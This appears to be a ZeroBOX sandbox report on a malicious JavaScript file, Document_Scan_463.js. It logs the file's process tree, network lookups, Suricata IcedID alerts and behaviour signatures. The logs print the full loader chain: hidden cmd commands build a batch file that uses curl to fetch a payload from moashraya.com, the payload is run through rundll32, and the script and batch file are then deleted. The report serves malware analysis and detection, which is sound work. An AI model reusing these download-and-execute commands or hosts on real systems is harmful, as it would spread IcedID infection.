Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Aug. 31, 2023, 10:40 a.m.	Aug. 31, 2023, 10:42 a.m.

Size	32.5KB
Type	ASCII text
MD5	`ff68487fd840687d90c92d63ea6ef82a`
SHA256	`003b90e0e529c7e2955c561e28636c950292d53842487061597702f013e80627`
CRC32	`09BEF310`
ssdeep	`384:9DNfsx1w2P83puhxHRkMid2OoW3VaT0bDtDEWU/kO2aZ+91tEkQ2mHKoywGCDRnO:hNiZ6z8sYY+P/fjkSTZMB`
Yara	None matched

wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\Document_Scan_463.js
1488
- cmd.exe "C:\Windows\System32\cmd.exe" /c del "C:\Users\test22\AppData\Local\Temp\Document_Scan_463.js"
  2156
- cmd.exe "C:\Windows\System32\cmd.exe" /c echo curl https://moashraya.com/out/t.php --output "C:\Users\test22\AppData\Local\Temp\expedita.gdolorum.d" --ssl-no-revoke --insecure --location > "C:\Users\test22\AppData\Local\Temp\expedita.g.bat"
  2204
- cmd.exe "C:\Windows\System32\cmd.exe" /c "C:\Users\test22\AppData\Local\Temp\expedita.g.bat"
  2308
  - curl.exe curl https://moashraya.com/out/t.php --output "C:\Users\test22\AppData\Local\Temp\expedita.gdolorum.d" --ssl-no-revoke --insecure --location
    2392
- cmd.exe "C:\Windows\System32\cmd.exe" /c ren "C:\Users\test22\AppData\Local\Temp\expedita.gdolorum.d" "expedita.g"
  2460
- rundll32.exe "C:\Windows\System32\rundll32.exe" "C:\Users\test22\AppData\Local\Temp\expedita.g", scab /k arabika752
  2528
  - rundll32.exe "C:\Windows\System32\rundll32.exe" "C:\Users\test22\AppData\Local\Temp\expedita.g", scab /k arabika752
    2640
- cmd.exe "C:\Windows\System32\cmd.exe" /c del "C:\Users\test22\AppData\Local\Temp\expedita.g.bat"
  2568

Name	Response	Post-Analysis Lookup
moashraya.com	A 184.168.117.217	184.168.117.217
oopscokir.com	A 104.21.64.90 A 172.67.179.217	172.67.179.217

IP Address	Status	Action
164.124.101.2	Active	Moloch
172.67.179.217	Active	Moloch
184.168.117.217	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.103:49175 -> 172.67.179.217:80	2032086	ET MALWARE Win32/IcedID Request Cookie	A Network Trojan was detected

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLS 1.2 192.168.56.103:49169 184.168.117.217:443	C=US, ST=TX, L=Houston, O=cPanel, Inc., CN=cPanel, Inc. Certification Authority	CN=moashraya.com	f5:4f:f0:43:5d:87:29:b9:67:28:34:e9:f9:c2:a3:5d:38:79:d1:55

Checks if process is being debugged by a debugger (1 event)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Aug. 31, 2023, 10:40 a.m.			0	0

Command line console output was observed (5 events)

Time & API	Arguments	Status	Return
WriteConsoleW Aug. 31, 2023, 10:40 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x00000007	1	1
WriteConsoleW Aug. 31, 2023, 10:40 a.m.	buffer: curl console_handle: 0x00000007	1	1
WriteConsoleW Aug. 31, 2023, 10:40 a.m.	buffer: https://moashraya.com/out/t.php --output "C:\Users\test22\AppData\Local\Temp\expedita.gdolorum.d" --ssl-no-revoke --insecure --location console_handle: 0x00000007	1	1
WriteConsoleW Aug. 31, 2023, 10:40 a.m.	buffer: C:\Users\test22\AppData\Local\Temp\expedita.g.bat console_handle: 0x00000007	1	1
WriteConsoleW Aug. 31, 2023, 10:40 a.m.	buffer: The process cannot access the file because it is being used by another process. console_handle: 0x0000000b	1	1

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

Starts servers listening (3 events)

Time & API	Arguments	Status	Return
bind Aug. 31, 2023, 10:40 a.m.	ip_address: 127.0.0.1 socket: 144 port: 0	1	0
listen Aug. 31, 2023, 10:40 a.m.	socket: 144 backlog: 1	1	0
accept Aug. 31, 2023, 10:40 a.m.	ip_address: socket: 144 port: 0	1	152

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

GET method with no useragent header

suspicious_request

GET http://oopscokir.com/

Performs some HTTP requests (1 event)

request

GET http://oopscokir.com/

Creates executable files on the filesystem (1 event)

file	C:\Users\test22\AppData\Local\Temp\expedita.g.bat

Creates a suspicious process (10 events)

cmdline	cmd.exe /c echo curl https://moashraya.com/out/t.php --output "C:\Users\test22\AppData\Local\Temp\expedita.gdolorum.d" --ssl-no-revoke --insecure --location > "C:\Users\test22\AppData\Local\Temp\expedita.g.bat"
cmdline	"C:\Windows\System32\cmd.exe" /c "C:\Users\test22\AppData\Local\Temp\expedita.g.bat"
cmdline	cmd.exe /c del "C:\Users\test22\AppData\Local\Temp\expedita.g.bat"
cmdline	cmd.exe /c "C:\Users\test22\AppData\Local\Temp\expedita.g.bat"
cmdline	cmd.exe /c del "C:\Users\test22\AppData\Local\Temp\Document_Scan_463.js"
cmdline	cmd.exe /c ren "C:\Users\test22\AppData\Local\Temp\expedita.gdolorum.d" "expedita.g"
cmdline	"C:\Windows\System32\cmd.exe" /c ren "C:\Users\test22\AppData\Local\Temp\expedita.gdolorum.d" "expedita.g"
cmdline	"C:\Windows\System32\cmd.exe" /c del "C:\Users\test22\AppData\Local\Temp\Document_Scan_463.js"
cmdline	"C:\Windows\System32\cmd.exe" /c del "C:\Users\test22\AppData\Local\Temp\expedita.g.bat"
cmdline	"C:\Windows\System32\cmd.exe" /c echo curl https://moashraya.com/out/t.php --output "C:\Users\test22\AppData\Local\Temp\expedita.gdolorum.d" --ssl-no-revoke --insecure --location > "C:\Users\test22\AppData\Local\Temp\expedita.g.bat"

A process created a hidden window (6 events)

Time & API	Arguments	Status	Return
ShellExecuteExW Aug. 31, 2023, 10:40 a.m.	show_type: 0 filepath_r: cmd.exe parameters: /c del "C:\Users\test22\AppData\Local\Temp\Document_Scan_463.js" filepath: cmd.exe	1	1
ShellExecuteExW Aug. 31, 2023, 10:40 a.m.	show_type: 0 filepath_r: cmd.exe parameters: /c echo curl https://moashraya.com/out/t.php --output "C:\Users\test22\AppData\Local\Temp\expedita.gdolorum.d" --ssl-no-revoke --insecure --location > "C:\Users\test22\AppData\Local\Temp\expedita.g.bat" filepath: cmd.exe	1	1
ShellExecuteExW Aug. 31, 2023, 10:40 a.m.	show_type: 0 filepath_r: cmd.exe parameters: /c "C:\Users\test22\AppData\Local\Temp\expedita.g.bat" filepath: cmd.exe	1	1
ShellExecuteExW Aug. 31, 2023, 10:40 a.m.	show_type: 0 filepath_r: cmd.exe parameters: /c ren "C:\Users\test22\AppData\Local\Temp\expedita.gdolorum.d" "expedita.g" filepath: cmd.exe	1	1
ShellExecuteExW Aug. 31, 2023, 10:40 a.m.	show_type: 0 filepath_r: rundll32 parameters: "C:\Users\test22\AppData\Local\Temp\expedita.g", scab /k arabika752 filepath: rundll32	1	1
ShellExecuteExW Aug. 31, 2023, 10:40 a.m.	show_type: 0 filepath_r: cmd.exe parameters: /c del "C:\Users\test22\AppData\Local\Temp\expedita.g.bat" filepath: cmd.exe	1	1

Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory Aug. 31, 2023, 10:40 a.m.	process_identifier: 2640 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 16384 protection: 32 (PAGE_EXECUTE_READ) base_address: 0x00000000002d0000 process_handle: 0xffffffffffffffff	1	0	0

Uses Windows utilities for basic Windows functionality (4 events)

cmdline	cmd.exe /c del "C:\Users\test22\AppData\Local\Temp\expedita.g.bat"
cmdline	cmd.exe /c del "C:\Users\test22\AppData\Local\Temp\Document_Scan_463.js"
cmdline	"C:\Windows\System32\cmd.exe" /c del "C:\Users\test22\AppData\Local\Temp\Document_Scan_463.js"
cmdline	"C:\Windows\System32\cmd.exe" /c del "C:\Users\test22\AppData\Local\Temp\expedita.g.bat"

One or more non-whitelisted processes were created (12 events)

parent_process	wscript.exe	martian_process	cmd.exe /c del "C:\Users\test22\AppData\Local\Temp\Document_Scan_463.js"
parent_process	wscript.exe	martian_process	"C:\Windows\System32\cmd.exe" /c "C:\Users\test22\AppData\Local\Temp\expedita.g.bat"
parent_process	wscript.exe	martian_process	cmd.exe /c del "C:\Users\test22\AppData\Local\Temp\expedita.g.bat"
parent_process	wscript.exe	martian_process	cmd.exe /c "C:\Users\test22\AppData\Local\Temp\expedita.g.bat"
parent_process	wscript.exe	martian_process	cmd.exe /c echo curl https://moashraya.com/out/t.php --output "C:\Users\test22\AppData\Local\Temp\expedita.gdolorum.d" --ssl-no-revoke --insecure --location > "C:\Users\test22\AppData\Local\Temp\expedita.g.bat"
parent_process	wscript.exe	martian_process	rundll32 "C:\Users\test22\AppData\Local\Temp\expedita.g", scab /k arabika752
parent_process	wscript.exe	martian_process	cmd.exe /c ren "C:\Users\test22\AppData\Local\Temp\expedita.gdolorum.d" "expedita.g"
parent_process	wscript.exe	martian_process	"C:\Windows\System32\cmd.exe" /c ren "C:\Users\test22\AppData\Local\Temp\expedita.gdolorum.d" "expedita.g"
parent_process	wscript.exe	martian_process	"C:\Windows\System32\cmd.exe" /c del "C:\Users\test22\AppData\Local\Temp\Document_Scan_463.js"
parent_process	wscript.exe	martian_process	"C:\Windows\System32\cmd.exe" /c del "C:\Users\test22\AppData\Local\Temp\expedita.g.bat"
parent_process	wscript.exe	martian_process	"C:\Windows\System32\cmd.exe" /c echo curl https://moashraya.com/out/t.php --output "C:\Users\test22\AppData\Local\Temp\expedita.gdolorum.d" --ssl-no-revoke --insecure --location > "C:\Users\test22\AppData\Local\Temp\expedita.g.bat"
parent_process	wscript.exe	martian_process	"C:\Windows\System32\rundll32.exe" "C:\Users\test22\AppData\Local\Temp\expedita.g", scab /k arabika752

The process wscript.exe wrote an executable file to disk which it then attempted to execute (2 events)

file	C:\Windows\System32\cmd.exe
file	C:\Windows\System32\rundll32.exe

Document_Scan_463.js

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All